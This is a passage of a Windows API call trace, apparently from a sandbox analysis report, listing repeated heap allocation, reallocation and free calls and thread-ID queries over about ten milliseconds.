out: hHeap=0x2ad0000) returned 1 [0073.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17ad8 | out: hHeap=0x2ad0000) returned 1 [0073.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac26b0, Size=0x120) returned 0x2ba5180 [0073.552] GetCurrentThreadId () returned 0x9b0 [0073.552] GetCurrentThreadId () returned 0x9b0 [0073.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5180, Size=0x160) returned 0x2ba5f38 [0073.552] GetCurrentThreadId () returned 0x9b0 [0073.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5f38, Size=0x1a8) returned 0x2ac8d88 [0073.552] GetCurrentThreadId () returned 0x9b0 [0073.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179d0 [0073.552] GetCurrentThreadId () returned 0x9b0 [0073.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179e8 [0073.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c179e8 | out: hHeap=0x2ad0000) returned 1 [0073.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c179d0 | out: hHeap=0x2ad0000) returned 1 [0073.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.553] GetCurrentThreadId () returned 0x9b0 [0073.553] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac8d88, Size=0x1f8) returned 0x2ba6f40 [0073.553] GetCurrentThreadId () returned 0x9b0 [0073.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.553] GetCurrentThreadId () returned 0x9b0 [0073.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b50 [0073.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a30 [0073.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a30 | out: hHeap=0x2ad0000) returned 1 [0073.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b50 | out: hHeap=0x2ad0000) returned 1 [0073.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.553] GetCurrentThreadId () returned 0x9b0 [0073.553] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba6f40, Size=0x250) returned 0x2ac3d58 [0073.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a200d8 [0073.553] GetCurrentThreadId () returned 0x9b0 [0073.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178f8 [0073.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17970 [0073.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17970 | out: hHeap=0x2ad0000) returned 1 [0073.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0073.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178f8 | out: hHeap=0x2ad0000) returned 1 [0073.553] GetCurrentThreadId () returned 0x9b0 [0073.553] GetCurrentThreadId () returned 0x9b0 [0073.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17988 | out: hHeap=0x2ad0000) returned 1 [0073.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0073.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f9e8 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0073.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x26c) returned 0x2c33600 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af00 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af20 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19328 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18358 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18388 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f568 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18d40 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0073.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac3d58 | out: hHeap=0x2ad0000) returned 1 [0073.554] GetCurrentThreadId () returned 0x9b0 [0073.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f0d0 [0073.554] GetCurrentThreadId () returned 0x9b0 [0073.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.555] GetCurrentThreadId () returned 0x9b0 [0073.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.555] GetCurrentThreadId () returned 0x9b0 [0073.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18358 | out: hHeap=0x2ad0000) returned 1 [0073.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.555] GetCurrentThreadId () returned 0x9b0 [0073.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.555] GetCurrentThreadId () returned 0x9b0 [0073.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.555] GetCurrentThreadId () returned 0x9b0 [0073.555] GetCurrentThreadId () returned 0x9b0 [0073.555] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a182e0, Size=0x20) returned 0x2a1fab0 [0073.555] GetCurrentThreadId () returned 0x9b0 [0073.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.555] GetCurrentThreadId () returned 0x9b0 [0073.555] GetCurrentThreadId () returned 0x9b0 [0073.555] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a182e0, Size=0x20) returned 0x2a1fad8 [0073.555] GetCurrentThreadId () returned 0x9b0 [0073.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.555] GetCurrentThreadId () returned 0x9b0 [0073.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18358 | out: hHeap=0x2ad0000) returned 1 [0073.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18358 | out: hHeap=0x2ad0000) returned 1 [0073.556] GetCurrentThreadId () returned 0x9b0 [0073.556] GetCurrentThreadId () returned 0x9b0 [0073.556] GetCurrentThreadId () returned 0x9b0 [0073.556] GetCurrentThreadId () returned 0x9b0 [0073.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.556] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18358, Size=0x20) returned 0x2a1fbf0 [0073.556] GetCurrentThreadId () returned 0x9b0 [0073.556] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a192e0 [0073.556] GetCurrentThreadId () returned 0x9b0 [0073.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18358 | out: hHeap=0x2ad0000) returned 1 [0073.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.556] GetCurrentThreadId () returned 0x9b0 [0073.556] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a192e0, Size=0x64) returned 0x2a19b98 [0073.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.556] GetCurrentThreadId () returned 0x9b0 [0073.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18358 | out: hHeap=0x2ad0000) returned 1 [0073.556] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac0ad8 [0073.556] GetCurrentThreadId () returned 0x9b0 [0073.556] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ad8, Size=0xb8) returned 0x2ac1378 [0073.557] GetCurrentThreadId () returned 0x9b0 [0073.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.557] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1378, Size=0xe8) returned 0x2ac2890 [0073.557] GetCurrentThreadId () returned 0x9b0 [0073.557] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2890, Size=0x120) returned 0x2ba5180 [0073.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18358 | out: hHeap=0x2ad0000) returned 1 [0073.557] GetCurrentThreadId () returned 0x9b0 [0073.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18358 [0073.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fad8 | out: hHeap=0x2ad0000) returned 1 [0073.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18388 | out: hHeap=0x2ad0000) returned 1 [0073.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f0d0 | out: hHeap=0x2ad0000) returned 1 [0073.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba5180 | out: hHeap=0x2ad0000) returned 1 [0073.557] GetCurrentThreadId () returned 0x9b0 [0073.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f0d0 [0073.557] GetCurrentThreadId () returned 0x9b0 [0073.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.557] GetCurrentThreadId () returned 0x9b0 [0073.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.558] GetCurrentThreadId () returned 0x9b0 [0073.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.558] GetCurrentThreadId () returned 0x9b0 [0073.558] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a182e0, Size=0x20) returned 0x2a1f9c0 [0073.558] GetCurrentThreadId () returned 0x9b0 [0073.558] GetCurrentThreadId () returned 0x9b0 [0073.558] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f9c0, Size=0x40) returned 0x2a191c0 [0073.558] GetCurrentThreadId () returned 0x9b0 [0073.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.558] GetCurrentThreadId () returned 0x9b0 [0073.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.558] GetCurrentThreadId () returned 0x9b0 [0073.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.558] GetCurrentThreadId () returned 0x9b0 [0073.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afc0 [0073.558] GetCurrentThreadId () returned 0x9b0 [0073.558] GetCurrentThreadId () returned 0x9b0 [0073.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b030 [0073.558] GetCurrentThreadId () returned 0x9b0 [0073.559] GetCurrentThreadId () returned 0x9b0 [0073.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.559] GetCurrentThreadId () returned 0x9b0 [0073.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae60 [0073.559] GetCurrentThreadId () returned 0x9b0 [0073.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.559] GetCurrentThreadId () returned 0x9b0 [0073.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.559] GetCurrentThreadId () returned 0x9b0 [0073.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aea0 [0073.559] GetCurrentThreadId () returned 0x9b0 [0073.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afc0 | out: hHeap=0x2ad0000) returned 1 [0073.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.559] GetCurrentThreadId () returned 0x9b0 [0073.559] GetCurrentThreadId () returned 0x9b0 [0073.559] GetCurrentThreadId () returned 0x9b0 [0073.559] GetCurrentThreadId () returned 0x9b0 [0073.559] GetCurrentThreadId () returned 0x9b0 [0073.559] GetCurrentThreadId () returned 0x9b0 [0073.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.560] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a182f8, Size=0x20) returned 0x2a1fba0 [0073.560] GetCurrentThreadId () returned 0x9b0 [0073.560] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fba0, Size=0x40) returned 0x2a19250 [0073.560] GetCurrentThreadId () returned 0x9b0 [0073.560] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a19818 [0073.560] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac07e0 [0073.560] GetCurrentThreadId () returned 0x9b0 [0073.560] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac07e0, Size=0xb8) returned 0x2ac1378 [0073.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.560] GetCurrentThreadId () returned 0x9b0 [0073.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.560] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.560] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.560] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.560] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.560] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1378, Size=0xe8) returned 0x2ac2e30 [0073.560] GetCurrentThreadId () returned 0x9b0 [0073.560] GetCurrentThreadId () returned 0x9b0 [0073.560] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2e30, Size=0x120) returned 0x2ba53d0 [0073.560] GetCurrentThreadId () returned 0x9b0 [0073.560] GetCurrentThreadId () returned 0x9b0 [0073.560] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba53d0, Size=0x160) returned 0x2ba60a0 [0073.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b010 [0073.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b010 | out: hHeap=0x2ad0000) returned 1 [0073.561] GetCurrentThreadId () returned 0x9b0 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae60 | out: hHeap=0x2ad0000) returned 1 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aea0 | out: hHeap=0x2ad0000) returned 1 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18388 | out: hHeap=0x2ad0000) returned 1 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f0d0 | out: hHeap=0x2ad0000) returned 1 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a191c0 | out: hHeap=0x2ad0000) returned 1 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba60a0 | out: hHeap=0x2ad0000) returned 1 [0073.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f0d0 [0073.561] GetCurrentThreadId () returned 0x9b0 [0073.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0d850 [0073.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.561] GetCurrentThreadId () returned 0x9b0 [0073.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.561] GetCurrentThreadId () returned 0x9b0 [0073.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.561] GetCurrentThreadId () returned 0x9b0 [0073.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.562] GetCurrentThreadId () returned 0x9b0 [0073.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.562] GetCurrentThreadId () returned 0x9b0 [0073.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.562] GetCurrentThreadId () returned 0x9b0 [0073.562] GetCurrentThreadId () returned 0x9b0 [0073.562] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18328, Size=0x20) returned 0x2a1fbc8 [0073.562] GetCurrentThreadId () returned 0x9b0 [0073.562] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbc8, Size=0x40) returned 0x2a19058 [0073.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.562] GetCurrentThreadId () returned 0x9b0 [0073.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.562] GetCurrentThreadId () returned 0x9b0 [0073.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.562] GetCurrentThreadId () returned 0x9b0 [0073.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.562] GetCurrentThreadId () returned 0x9b0 [0073.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.562] GetCurrentThreadId () returned 0x9b0 [0073.562] RtlAllocateHeap 